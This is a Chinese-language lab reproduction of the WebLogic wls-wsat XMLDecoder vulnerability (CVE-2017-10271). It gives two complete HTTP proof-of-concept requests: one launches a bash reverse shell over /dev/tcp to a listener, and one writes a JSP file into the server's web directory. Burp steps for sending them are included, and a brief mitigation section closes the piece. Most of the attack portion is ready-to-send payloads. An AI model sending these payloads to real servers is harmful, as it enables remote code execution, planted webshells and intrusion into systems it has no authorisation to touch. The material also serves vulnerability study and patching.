漏洞环境:
搭建参考:https://www.freebuf.com/column/204885.html
10.3.6.0weblogic影响版本:
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
漏洞检测:
检测存在漏洞
检测工具下载地址:链接:https://pan.baidu.com/s/16d8aiHJs5wzlkz8pKq1m3g
提取码:vnao
漏洞利用:
反弹shell:
附poc:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.220.131:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 644
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.220.128/5555 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
1.首先打开kali,侦听端口192.168.220.128:5555
2.使用burp发送poc:
查看kali,可以发现反弹shell。
写入shell
附poc:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.220.131:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 642
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问http://192.168.220.131:7001/bea_wls_internal/test.jsp
漏洞防御
1、临时解决方案 根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。
2、’官方补丁修复 前往Oracle官网下载10月份所提供的安全补丁。
参考链接:
https://blog.csdn.net/qq_29647709/article/details/84928306
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
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